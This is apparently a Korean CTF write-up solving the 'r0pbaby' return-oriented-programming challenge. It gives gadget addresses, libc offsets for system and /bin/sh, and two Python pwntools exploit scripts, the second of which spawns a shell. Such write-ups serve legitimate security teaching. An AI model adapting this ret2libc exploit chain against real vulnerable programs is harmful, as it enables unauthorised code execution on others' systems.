0x0002c46f: pop rdi ; ret  ;  (1 found)
0x0002c581: pop rdi ; ret  ;  (1 found)
0x0002cdf5: pop rdi ; ret  ;  (1 found)
0x0002d087: pop rdi ; ret  ;  (1 found)
0x0002dd87: pop rdi ; ret  ;  (1 found)
0x0002f72c: pop rdi ; ret  ;  (1 found
................ 

 

그럼 이젠 payload를 작성해 보도록 하겠습니다.

 

[buff] +  gadget [pop rdi; ret] + [/bin/sh string addr] + [system addr]

 

[[ /bin/sh 문자열 offset 확인 ]]
babyhack@ubuntu:~/tmp$ strings -a -tx /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
 17ccdb /bin/sh
babyhack@ubuntu:~/tmp$

 

[[ system 함수 offset 확인 ]]

babyhack@ubuntu:~/tmp$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep "system"
   223: 000000000012b2c0    70 FUNC    GLOBAL DEFAULT   12 svcerr_systemerr@@GLIBC_2.2.5
   577: 0000000000046640    45 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
  1337: 0000000000046640    45 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.2.5
babyhack@ubuntu:~/tmp$

 

[[ 라이브러리 주소 확인 ]]

babyhack@ubuntu:~/tmp$ ldd ./r0pbaby
 linux-vdso.so.1 =>  (0x00007ffca2aeb000)
 libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f2b712e3000)
 libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f2b70f1e000)
 /lib64/ld-linux-x86-64.so.2 (0x00007f2b716ea000)
babyhack@ubuntu:~/tmp$

 

그럼 exploit을 짜봅시다.

 

[[ exploit - 1 ]]

 

from pwn import *
from struct import *

endian = lambda x:struct.pack('<Q', x)

binsh_offset = 0x17ccdb
pop_ret_offset = 0x2c581
system_offset = 0x46640

 

s = process("./r0pbaby")
print s.recvuntil(": ") # Menu

 

s.send("1\n")           # 1. Get libc address
get_libc_addr = s.recv(2048)
print "[*] %s " % get_libc_addr
libc_addr = eval(get_libc_addr.split(':')[1])
print "[*] libc split : 0x%08X" % libc_addr

 

print s.recvuntil(": ") # Menu

s.send("2\n")           # 2. Get address of a libc function
print "[*] %s " % s.recv(2048)
s.send("system\n")      # "system" function
system_recv = s.recv(2014)
print "[recv] %s" % system_recv
system_addr = eval(system_recv.split(':')[1])

 

# payload
payload = "A" * 8
payload += endian(libc_addr + pop_ret_offset) # pop rdi; ret;
payload += endian(libc_addr + binsh_offset)
payload += endian(system_addr)

print "[*] Payload : %s" % payload

s.send("3\n")
s.recv(1024)
s.send("%d\n" %(len(payload)+1))
s.send(payload + "\n")
s.send("4\n")
s.recv(1024)
s.interactive() 

 

 

[[ 결과 ]]

babyhack@ubuntu:~/tmp$ python exp.py
[+] Started program './r0pbaby'

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
[*] libc.so.6: 0x00007FC2C2A989B0
 
[*] libc split : 0x7FC2C2A989B0
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
[*] Enter symbol: 
[recv] Symbol system: 0x00007FC2C20F0640

[*] Payload : AAAAAAAA1O\xac��\x7f\x00\x00\x8bV���\x00\x00@\x06\x0f��\x7f\x00\x00
[*] Switching to interactive mode
[*] Got EOF while reading in interactive

 

쉘은 떨어졌지만 명령어가 입력되지 않습니다.

따라서, 주소를 다시 얻어서 사용하는 방식으로 코드를 수정 했습니다.

 

[[ exp 2.py ]]

 

from pwn import *
from struct import *

 

endian = lambda x:struct.pack('<Q', x)

binsh_offset = 0x17ccdb
pop_ret_offset = 0x2c581
system_offset = 0x46640

 

s = process("./r0pbaby")

print s.recvuntil(": ") # Menu

s.send("1\n")           # 1. Get libc address
get_libc_addr = s.recv(2048)
print "[*] %s " % get_libc_addr
libc_addr = eval(get_libc_addr.split(':')[1])
print "[*] libc split : 0x%08X" % libc_addr

 

print s.recvuntil(": ") # Menu

s.send("2\n")           # 2. Get address of a libc function
print "[*] %s " % s.recv(2048)
s.send("system\n")      # "system" function
system_recv = s.recv(2014)
print "[recv] %s" % system_recv

system_addr = eval(system_recv.split(':')[1])

print "[*] System Addr split : 0x%08X" % system_addr
libc_base = system_addr - system_offset
print "[*] calc - libc_base : 0x%08X" % libc_base

 

# payload
payload = "A" * 8
payload += endian(libc_base + pop_ret_offset) # pop rdi; ret;
payload += endian(libc_base + binsh_offset)
payload += endian(system_addr)

print "[*] Payload : %s" % payload

 

s.send("3\n")
s.recv(1024)
s.send("%d\n" %(len(payload)+1))
s.send(payload + "\n")
s.send("4\n")

s.interactive() 

 

[[ 결과 ]] 

 

babyhack@ubuntu:~/tmp$ python 2exp.py
[+] Started program './r0pbaby'

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
[*] libc.so.6: 0x00007F433F12D9B0
 
[*] libc split : 0x7F433F12D9B0
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
[*] Enter symbol: 
[recv] Symbol system: 0x00007F433E785640

[*] System Addr split : 0x7F433E785640
[*] calc - libc_base : 0x7F433E73F000
[*] Payload : AAAAAAAA\x81\xb5v>C\x7f\x00\x00ۼ\x8b>C\x7f\x00\x00@Vx>C\x7f\x00\x00
[*] Switching to interactive mode
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Exiting.
$ id
uid=1000(babyhack) gid=1000(babyhack) groups=1000(babyhack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
$ 

 

반응형

'Reverse > pwnable' 카테고리의 다른 글

[vagrant] CGC (Cyber Grand Challenge) 환경 구축  (0) 2016.08.02
[pwntools] test code  (0) 2016.07.27
[pwntools] 함수 offset 계산 방법  (0) 2016.07.21
[defcon 24 - 2016] Reversing - baby-re  (0) 2016.05.24
[pcf2013] ropasaurusrex  (0) 2016.05.11

+ Recent posts